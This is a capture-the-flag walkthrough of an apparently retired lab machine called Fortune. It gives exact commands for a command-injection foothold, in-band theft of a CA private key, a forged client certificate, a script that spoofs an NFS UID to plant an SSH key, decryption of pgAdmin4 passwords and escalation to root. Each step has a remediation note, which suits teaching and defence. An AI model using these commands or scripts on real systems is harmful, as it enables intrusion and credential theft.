Fortune
Summary
I scanned the target and found an OpenBSD web server whose /select CGI endpoint passed the db POST parameter unsanitized to a shell and reflected command output directly in the HTTP response: no outbound connection was needed because egress was blocked. This in-band OS command injection was used to locate and base64-exfiltrate the private key of the host's internal intermediate certificate authority, stored in a home directory readable by the web service account.
With the CA key, I forged a TLS client certificate for the charlie user and presented it to the HTTPS /generate authpf gateway, which returned an SSH private key for the nfsuser account; logging in as nfsuser caused OpenBSD's PF firewall to dynamically open the NFS ports for my source IP. With NFS now reachable, raw NFSv3 requests were crafted with AUTH_SYS credentials matching charlie's on-disk UID (1000), NFS trusts this value from the client without verification, allowing full read/write access to charlie's home directory, retrieval of the user flag, and injection of my own SSH public key into authorized_keys for an interactive shell.
As charlie, a pgAdmin4 SQLite database readable via the wheel group was copied; it stored a PostgreSQL DBA password encrypted with a static, application-level key rather than a user-supplied secret, making offline decryption straightforward. The recovered DBA password was identical to the root account's system password, which was used with su to achieve full OS compromise.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<the-password-you-recovered>"Attack path: how the box was taken
Exact commands 3
Full TCP scan with service and version detection.
$ nmap -sC -sV -p- --min-rate 5000 -oN /tmp/fortune_nmap.txt $TARGETRegister the vhost for later curl and certificate usage.
$ echo "$TARGET fortune.htb" | sudo tee -a /etc/hostsInspect server certificate for CA identity, hostnames, and email SANs.
$ openssl s_client -connect $TARGET:443 -showcerts </dev/null 2>/dev/null | openssl x509 -noout -text | grep -E 'Subject|Issuer|DNS|email'Exact commands 2
Confirm injection: expect uid=_fortune (or similar) in the response body.
$ curl -sS -X POST --data-urlencode 'db=;id' http://$TARGET/selectEnumerate OS version and local accounts to plan further steps.
$ curl -sS -X POST --data-urlencode 'db=;uname -a; cat /etc/passwd' http://$TARGET/selectFixEliminate OS command injection in the /select CGI endpointCritical
Exact commands 3
Locate CA key material paths on the filesystem.
$ curl -sS -X POST --data-urlencode 'db=;find /home -name "*.pem" -o -name "*.key" 2>/dev/null' http://$TARGET/selectExfiltrate the intermediate CA private key in-band and decode locally.
$ curl -sS -X POST --data-urlencode 'db=;base64 /home/bob/ca/intermediate/private/intermediate.key.pem' http://$TARGET/select | base64 -d > /tmp/intermediate.key.pemExfiltrate the intermediate CA certificate in-band and decode locally.
$ curl -sS -X POST --data-urlencode 'db=;base64 /home/bob/ca/intermediate/certs/intermediate.cert.pem' http://$TARGET/select | base64 -d > /tmp/intermediate.cert.pemFixProtect the intermediate CA private key from web-service accountsCritical
Exact commands 6
Generate a private key for the forged charlie certificate.
$ openssl genrsa -out /tmp/charlie-client.key 2048Create a certificate signing request for CN=charlie.
$ openssl req -new -key /tmp/charlie-client.key -out /tmp/charlie-client.csr -subj '/CN=charlie'Sign the CSR with the recovered intermediate CA key to produce a trusted client cert.
$ openssl x509 -req -in /tmp/charlie-client.csr -CA /tmp/intermediate.cert.pem -CAkey /tmp/intermediate.key.pem -CAcreateserial -out /tmp/charlie-client.crt -days 365 -sha256Authenticate to the authpf gateway and save the response containing the nfsuser SSH key.
$ cat /tmp/charlie-client.crt /tmp/intermediate.cert.pem > /tmp/charlie-client-chain.crt && curl -ksS --cert /tmp/charlie-client-chain.crt --key /tmp/charlie-client.key --resolve fortune.htb:443:$TARGET https://fortune.htb/generate -o /tmp/authpf-generate.htmlExtract the embedded SSH private key from the response HTML.
$ grep -oP '(?s)-----BEGIN RSA PRIVATE KEY-----.*?-----END RSA PRIVATE KEY-----' /tmp/authpf-generate.html > /tmp/authpf.key && chmod 600 /tmp/authpf.keyLog in as nfsuser to trigger PF rule insertion: keep this session alive in a separate terminal for the duration of the NFS steps.
$ ssh -tt -i /tmp/authpf.key -o StrictHostKeyChecking=no nfsuser@$TARGETFixBind authpf client-certificate validation to a revocable identity, not just CA trustHigh
Exact commands 5
Confirm NFS is now reachable after authpf opened PF and verify /home is exported.
$ nmap -Pn -p111,2049 --script rpcinfo,nfs-showmount $TARGETGenerate my SSH keypair to inject into charlie's authorized_keys.
$ ssh-keygen -t ed25519 -f /tmp/charlie_id -N ''Install the raw NFSv3 client library on the attack machine.
$ pip3 install pyNfsClient -qRun the pyNfsClient script below (save it first). It reads user.txt and writes my public key into charlie/.ssh/authorized_keys with AUTH_SYS uid=1000,gid=1000. Script content: from pyNfsClient import Portmap,Mount,NFSv3,MountClient,AuthSys; HOST='$TARGET'; PUBKEY=open('/tmp/charlie_id.pub').read().encode(); auth=AuthSys(uid=1000,gid=1000,machine_name='$USERNAME',gids=[]); pm=Portmap(HOST,timeout=3600); pm.connect(); mc=MountClient(HOST,pm.getport(Mount.program,Mount.version),timeout=3600); mc.connect(); fh=mc.mnt('/home').filehandle; nfs=NFSv3(HOST,pm.getport(NFSv3.program,NFSv3.version),timeout=3600); nfs.connect(); cfh=nfs.lookup(fh,'charlie',auth=auth).resok.object.data; utfh=nfs.lookup(cfh,'user.txt',auth=auth).resok.object.data; print(nfs.read(utfh,offset=0,count=4096,auth=auth).resok.data.decode()); sshfh=nfs.lookup(cfh,'.ssh',auth=auth).resok.object.data; r=nfs.create(sshfh,'authorized_keys',mode=0o600,auth=auth); akfh=r.resok.obj.data; nfs.write(akfh,offset=0,data=PUBKEY,auth=auth); print('key written')
$ python3 /tmp/nfs_read_write.pyLog in as charlie using the injected public key.
$ ssh -i /tmp/charlie_id -o StrictHostKeyChecking=no charlie@$TARGETFixHarden NFS exports to prevent UID impersonationCritical
Exact commands 3
Copy the pgAdmin4 database to the attack machine for offline analysis.
$ scp -i /tmp/charlie_id charlie@$TARGET:/var/appsrv/pgadmin4/pgadmin4.db /tmp/pgadmin4.dbExtract the stored server credentials (encrypted) and the email used in key derivation.
$ sqlite3 /tmp/pgadmin4.db "SELECT s.name, s.host, s.port, s.username, u.email, s.password FROM server s JOIN user u ON s.user_id = u.id;"Decrypt the stored server password using pgAdmin4's static key derivation. Requires: pip3 install pycryptodome. Adjust key derivation if the above does not produce a valid string: pgAdmin4 source in pgadmin4/utils/crypto.py is authoritative.
$ python3 - <<'EOF'
import sqlite3, base64, hashlib
from Crypto.Cipher import AES
conn = sqlite3.connect('/tmp/pgadmin4.db')
cur = conn.cursor()
cur.execute('SELECT s.password, u.email FROM server s JOIN user u ON s.user_id=u.id LIMIT 1')
enc_pass, email = cur.fetchone()
key = hashlib.md5(email.encode()).digest()
enc_bytes = base64.b64decode(enc_pass)
iv, ct = enc_bytes[:16], enc_bytes[16:]
cipher = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=8)
print('Decrypted:', cipher.decrypt(ct).decode(errors='replace'))
EOFFixConfigure pgAdmin4 master-password encryption for stored server credentialsHigh
Exact commands 1
Reads the root flag via su - root.
$ expect <<EOF
set timeout 12
spawn ssh -tt -i /tmp/charlie_id -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null charlie@$TARGET
expect "\$ "
send -- "su - root -c \"id; cat /root/root.txt\"\r"
expect "Password:"
send -- "$PASSWORD\r"
expect eof
EOFFixUse unique, randomly generated passwords for each privileged accountCritical
Attack patterns used
The transferable techniques behind this compromise.
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.